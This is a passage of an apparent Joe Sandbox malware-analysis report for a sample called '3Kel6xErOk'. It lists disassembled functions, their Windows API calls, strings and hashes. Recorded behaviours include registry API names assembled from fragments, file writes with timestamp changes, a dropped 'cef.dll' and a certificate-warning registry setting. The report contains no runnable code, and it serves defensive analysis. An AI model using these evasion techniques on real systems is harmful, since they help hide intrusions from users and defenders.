Instruction ID: 6570460de5860f22f59f610b6db523a60cae84646223255b99467aaef9325b81
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: EE51C6B590122CAFDB61DF95CC85AEEBBB8FF48344F1040A9E509A7211D7749E84CF61

Function 032A2FE1 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 131registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 032A308E
_strncpy.LIBCMT ref: 032A3128
RegCloseKey.ADVAPI32(?), ref: 032A31B4

Strings

RegE, xrefs: 032A30AE
lose, xrefs: 032A319B
eyEx, xrefs: 032A30BC
penK, xrefs: 032A3038
ADVAPI32.dll, xrefs: 032A309A, 032A309D
RegC, xrefs: 032A3194
A, xrefs: 032A3046
numK, xrefs: 032A30B5
A, xrefs: 032A30C3
eyEx, xrefs: 032A303F
RegO, xrefs: 032A3031
Key, xrefs: 032A31A2

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: Close_memset_strncpy
String ID: A$A$ADVAPI32.dll$Key$RegC$RegE$RegO$eyEx$eyEx$lose$numK$penK
API String ID: 398226110-1513123901
Opcode ID: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction ID: 5cfb19dc84dd73e11f586177fd5ab0befd3380944a9e533b2dc5950e79523e8a
Opcode Fuzzy Hash: 14c49d87dcb23ba67ab38490d4ca0ee4809e63341d0e42fa1f4e677d95d510e9
Instruction Fuzzy Hash: 3051D7B590022CAFDB61DF99CC84AEEBBB8FF48304F1000A9E509A7210D7749E84CF61

Function 00409FC0 Relevance: 25.7, APIs: 17, Instructions: 192COMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?,00000000), ref: 0040A002
CreateSolidBrush.GDI32(?), ref: 0040A03D
FillRect.USER32(00000000,00408CBA,00000000), ref: 0040A064
DeleteObject.GDI32(00000000), ref: 0040A071
EndPaint.USER32(?,?), ref: 0040A085
BeginPaint.USER32(?,?,00000000), ref: 0040A0D4

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Paint$Begin$BrushCreateDeleteFillObjectRectSolid
String ID:
API String ID: 1228145086-0
Opcode ID: 18294d3d8c36513edb9dd99736fa424c3310700a5fd80203de5f9d5873ded5d3
Instruction ID: ea744690abc3a9e740969279cd8e586da65043a58a812639fcd490b5cb1baa10
Opcode Fuzzy Hash: 18294d3d8c36513edb9dd99736fa424c3310700a5fd80203de5f9d5873ded5d3
Instruction Fuzzy Hash: E981EA71A00318EFDB64DB64CD44F9AB7B5AF48304F1085D9E60EA7291CB35AE84CF56

Function 032A92C1 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252filetimeCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 032A93B8
_memset.LIBCMT ref: 032A93EC
_memset.LIBCMT ref: 032A9410
_strcat_s.LIBCMT ref: 032A942B
_sprintf.LIBCMT ref: 032A94AC
_sprintf.LIBCMT ref: 032A94D4
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 032A950A
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 032A9593
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 032A95DF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 032A95EB

Strings

:, xrefs: 032A948B
\, xrefs: 032A9475
%s%s, xrefs: 032A94A6
text.e, xrefs: 032A93CF

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: 01a61206051ec77cbdfa5d34e4a78fc33b4c029da38912455276437bd67be555
Instruction ID: 97fe28662c31f4ea55c31a32fcdf7aadefda16a22de5c40d580c989a5ac923c1
Opcode Fuzzy Hash: 01a61206051ec77cbdfa5d34e4a78fc33b4c029da38912455276437bd67be555
Instruction Fuzzy Hash: 2291B2B1910A2D9FDB31DB5DCC84BDABB78AF08315F0401D6E619A7180D7B19AC9CF91

Function 00430C00 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

Part of subcall function 00407010: GetWindowLongW.USER32(?,000000F0), ref: 0040701F

GetParent.USER32 ref: 00430C37
GetWindow.USER32(?,00000004), ref: 00430C4A
GetWindowRect.USER32(?,?), ref: 00430C5D
GetWindowLongW.USER32(00000000,000000F0), ref: 00430C7E
MonitorFromWindow.USER32(00000000,00000002), ref: 00430CB7
MonitorFromWindow.USER32(?,00000002), ref: 00430CCA
GetMonitorInfoW.USER32(00000000,00000028), ref: 00430D15
GetWindowRect.USER32(00000000,?), ref: 00430DA0
GetParent.USER32(?), ref: 00430DAE
GetClientRect.USER32(?,?), ref: 00430DC5
GetClientRect.USER32(00000000,?), ref: 00430DD3
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 00430DEA
SetWindowPos.USER32(?,00000000,?,?,000000FF,000000FF,00000015,?,?), ref: 00430E90

Strings

(, xrefs: 00430D06

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Window$Rect$Monitor$ClientFromLongParent$InfoPoints
String ID: (
API String ID: 882428731-3887548279
Opcode ID: df525e56472de4867d8f8de234e5fe8b8e024ca0f72f13be7105dc59eb408798
Instruction ID: 6c005bab49600ef92c48cc7363b9214a553db93d0c7f816fa9abae7d17835504
Opcode Fuzzy Hash: df525e56472de4867d8f8de234e5fe8b8e024ca0f72f13be7105dc59eb408798
Instruction Fuzzy Hash: 19A1D674E00309DFDB14CFA8C999BDEBBB2BB48304F209659E509AB391DB34A941CF54

Function 004298F0 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 004110E0: _Reset.LIBCMTD ref: 0041110D

operator!=.LIBCPMTD ref: 00429954
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429AE9
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00429AF8

Strings

pca_restore, xrefs: 004299ED
pca_openwebbrowser, xrefs: 00429A5C
pca_min, xrefs: 004299A3
pca_fullscreen, xrefs: 0042997E
pca_getsystemsetting, xrefs: 00429AB6
pca_max, xrefs: 004299C8
pca_force_close, xrefs: 00429A37
pca_close, xrefs: 00429A12
pca_mute, xrefs: 00429A7A
pca_savesystemsetting, xrefs: 00429AD4
pca_createshortcut, xrefs: 00429A98

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_$Resetoperator!=
String ID: pca_close$pca_createshortcut$pca_force_close$pca_fullscreen$pca_getsystemsetting$pca_max$pca_min$pca_mute$pca_openwebbrowser$pca_restore$pca_savesystemsetting
API String ID: 709813855-2490163117
Opcode ID: 219416748a1e299ce6649f311d5d31098a39296a7482a8f8c48a1ce7d65ed869
Instruction ID: c99fc755807f672b4c549d68a9ac0d574c908a0094f5f0f897ac45959cbbb6d9
Opcode Fuzzy Hash: 219416748a1e299ce6649f311d5d31098a39296a7482a8f8c48a1ce7d65ed869
Instruction Fuzzy Hash: CB51B370B40205ABEB04EB65DC67FFE7A69EF44708F800059F501AB1D2DE792A91C7AD

Function 0040B930 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 0040B996
GetStockObject.GDI32(0000000D), ref: 0040B9AD

Strings

, xrefs: 0040B9F3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ObjectStock
String ID:
API String ID: 3428563643-3916222277
Opcode ID: 021dffb388da5d6b18dd462530c8c8ec0f2624dd33b4f1326f002d852dc46bcd
Instruction ID: 2e587215dcd9a72bbad1ab83ba9fcc9c9f30eb1c60cb77f96ccca8d948ac214e
Opcode Fuzzy Hash: 021dffb388da5d6b18dd462530c8c8ec0f2624dd33b4f1326f002d852dc46bcd
Instruction Fuzzy Hash: 4861E774900218DFDB24EFA5C855BDDBBB1FF04305F1080AAF54AAB291DB785A85CF98

Function 032A2D10 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111filesleepCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 032A2D4F
_memset.LIBCMT ref: 032A2D78
Sleep.KERNEL32(00000001), ref: 032A2D98
_malloc.LIBCMT ref: 032A2DD2
_memset.LIBCMT ref: 032A2DFF
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 032A2E17
_free.LIBCMT ref: 032A2E1E
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 032A2E46
FlushFileBuffers.KERNEL32(?), ref: 032A2E52
CloseHandle.KERNEL32(?), ref: 032A2E5E

Strings

lib, xrefs: 032A2D90
cef.dll, xrefs: 032A2DAD

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: 3b7f21238bacadc657d5a8a56433dd2a6ff2117a5362b6b3c84e5166f2e26b1f
Instruction ID: a9315a320e6e8685877ff0495d45ba93554efab3ac67d6f9122a583c7abccf94
Opcode Fuzzy Hash: 3b7f21238bacadc657d5a8a56433dd2a6ff2117a5362b6b3c84e5166f2e26b1f
Instruction Fuzzy Hash: F131C27190062CAFDF25DF688C84FEAB779EF19700F0044D5E288AA150DAB19FC58F50

Function 00431B30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

MonitorFromWindow.USER32(?,00000002), ref: 00431B9A
GetMonitorInfoW.USER32(?,00000028), ref: 00431BB2
GetSystemMetrics.USER32(00000000), ref: 00431BC6
GetSystemMetrics.USER32(00000001), ref: 00431BD1
std::condition_variable::notify_all.LIBCONCRTD ref: 00431C1E
SetWindowPos.USER32(?,?,0040F9CE,000007F7,00000000,00000000,00000044), ref: 00431C27
std::condition_variable::notify_all.LIBCONCRTD ref: 00431C50
std::condition_variable::notify_all.LIBCONCRTD ref: 00431CE9
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000040), ref: 00431CF2
std::condition_variable::notify_all.LIBCONCRTD ref: 00431D1B

Strings

(, xrefs: 00431BA3

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::condition_variable::notify_all$Window$MetricsMonitorSystem$FromInfo
String ID: (
API String ID: 2403417128-3887548279
Opcode ID: a6f0dc469817cf2628d8a4f7bcf1504dcde9d84f2edd54aace505ed8a7ccb5e0
Instruction ID: 6ac859fa6765d7778e2ce1b06c7c818caf5c548b5eb5ac16e2d0c675eb19e90d
Opcode Fuzzy Hash: a6f0dc469817cf2628d8a4f7bcf1504dcde9d84f2edd54aace505ed8a7ccb5e0
Instruction Fuzzy Hash: 54614070A04258DFDB04DFD5CC65BAEB7B5BF48308F14502DE546AB3D2CA74A806CB59

Function 0040E180 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 132registrywindowCOMMON

Download Yara Rule

APIs

RegisterWindowMessageW.USER32(WM_ATLGETHOST,006E28F4,00000000), ref: 0040E1C7
RegisterWindowMessageW.USER32(WM_ATLGETCONTROL), ref: 0040E1D7
GetClassInfoExW.USER32(00000000,00000000,00000030), ref: 0040E1FE
LoadCursorW.USER32(00000000,00007F00), ref: 0040E24F
RegisterClassExW.USER32(00000030), ref: 0040E279
GetClassInfoExW.USER32(00000000,00000000,00000030), ref: 0040E2DF
LoadCursorW.USER32(00000000,00007F00), ref: 0040E330
RegisterClassExW.USER32(00000030), ref: 0040E35A

Strings

WM_ATLGETHOST, xrefs: 0040E1C2
0, xrefs: 0040E2F2
WM_ATLGETCONTROL, xrefs: 0040E1D2

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ClassRegister$CursorInfoLoadMessageWindow
String ID: 0$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 2039454443-556241384
Opcode ID: 6ca52d42c657b835351079de307d0d0b013f896a91b5cbd128db56fd4081d9d3
Instruction ID: d60134f4f7b93e519b111adbf2fd1bf0de4b3d29a1d7ea7b106e3b5de28de3a0
Opcode Fuzzy Hash: 6ca52d42c657b835351079de307d0d0b013f896a91b5cbd128db56fd4081d9d3
Instruction Fuzzy Hash: 775108B0D003099FDB14DFE2D9597DEBBB6AF04308F10442EE505B7280DBB95A89CB99

Function 004337FB Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 123registryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00433805

Part of subcall function 0043352D: GetVersionExW.KERNEL32(?), ref: 00433555

RegSetValueExW.ADVAPI32(?,WarnonBadCertRecving,00000000,00000003,?,00000004,00000130,0041AEB9,?), ref: 00433877
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00433924
RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,?,?,00000130,0041AEB9,?), ref: 0043394F
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043396B

Strings

WarnonBadCertRecving, xrefs: 0043386C
SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION, xrefs: 004338B3
SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION, xrefs: 00433895
SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION, xrefs: 004338EB
SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl, xrefs: 004338CD
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00433851

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_Valuestd::_$H_prolog3_QueryVersion
String ID: SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl$SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION$SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION$SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings$WarnonBadCertRecving
API String ID: 3195724583-3975030875
Opcode ID: f814b45b712931be77bd609a0300c2628e9a7448117a5b4540c9470b5878ac37
Instruction ID: b6486f1e515342a027b09622913fc364c76269b1533a98758f9314e7f4fefa5a
Opcode Fuzzy Hash: f814b45b712931be77bd609a0300c2628e9a7448117a5b4540c9470b5878ac37
Instruction Fuzzy Hash: 6A4147B1540218BAEB24EB11CD92FFF767CDF15389F0000AEB54562191EE749F84CE68

Function 032A28BD Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 032A290C
_memset.LIBCMT ref: 032A291E
_memset.LIBCMT ref: 032A292D
_memset.LIBCMT ref: 032A2B1E
_memset.LIBCMT ref: 032A2C3B
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 032A2CA4
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 032A2CC7
FlushFileBuffers.KERNEL32(00000000), ref: 032A2CCE
CloseHandle.KERNEL32(00000000), ref: 032A2CD5

Strings

<, xrefs: 032A29B4

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction ID: 779faa47dd25b9a10d17562cdde2a7751e91cf719d0a10cfe4704f09c7d151c3
Opcode Fuzzy Hash: 7483a2a04af1c0fb4a5dd35ee18b4b198e80d501588293fbf89c89882791b19e
Instruction Fuzzy Hash: 24C1FB76810228AFDB22DF648C849EABBFDEB09354F04C5E6F509A6150DB718FC68F50

Function 00431D40 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

operator!=.LIBCPMTD ref: 00431DA6

Part of subcall function 00432540: operator==.LIBCPMTD ref: 0043254C

SHGetSpecialFolderLocation.SHELL32(00000000,00000010,?,00000008,CC27C0CB), ref: 00431DC4
SHGetPathFromIDListW.SHELL32(?,?), ref: 00431DFC
GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000806,00000000,?), ref: 00431E94

Part of subcall function 004231B0: operator!=.LIBCPMTD ref: 0042320B
Part of subcall function 004231B0: operator!=.LIBCPMTD ref: 0042323D

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00431F65

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00431F71

Part of subcall function 0043A2EF: __EH_prolog3_GS.LIBCMT ref: 0043A2F6
Part of subcall function 0043A2EF: CoInitialize.OLE32(00000000), ref: 0043A308
Part of subcall function 0043A2EF: CoCreateInstance.OLE32(00638800,00000000,00000001,00638790,?), ref: 0043A328
Part of subcall function 0043A2EF: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043A370

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00431FCA

Strings

.lnk, xrefs: 00431E60
-gamename=, xrefs: 00431ECB
--flashgame , xrefs: 00431EA1

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Container_base12Container_base12::~_std::_$operator!=$Base::Concurrency::details::ContextCreateFileFolderFromH_prolog3_IdentityInitializeInstanceListLocationModuleNamePathQueueSpecialWorkoperator==
String ID: -gamename=$--flashgame $.lnk
API String ID: 2047462820-2604561152
Opcode ID: 00ae7b48324dc65ba14d5fc90fc6229e372d515e7af242730995b8a6f87f7b68
Instruction ID: 94adcce801e349a5259978ba04d951e903f400bf8221d8cf6fe9aa427025a5d6
Opcode Fuzzy Hash: 00ae7b48324dc65ba14d5fc90fc6229e372d515e7af242730995b8a6f87f7b68
Instruction Fuzzy Hash: 90614A71910258ABCB26EB50DC95BDEB778AB14704F0041EEB10967291EFB46F88CF94

Function 00431950 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWNd,00000000), ref: 004319BA
GetWindowRect.USER32(00000000), ref: 004319C1
MonitorFromWindow.USER32(?,00000002), ref: 004319D0
GetMonitorInfoW.USER32(?,00000028), ref: 004319E8
std::condition_variable::notify_all.LIBCONCRTD ref: 00431A66
SetWindowPos.USER32(?,?,?,?,00000000,00000000,00000044,00000000,00000000,?), ref: 00431A6F
std::condition_variable::notify_all.LIBCONCRTD ref: 00431B02
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000040), ref: 00431B0B

Strings

Shell_TrayWNd, xrefs: 004319B5
(, xrefs: 004319D9

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

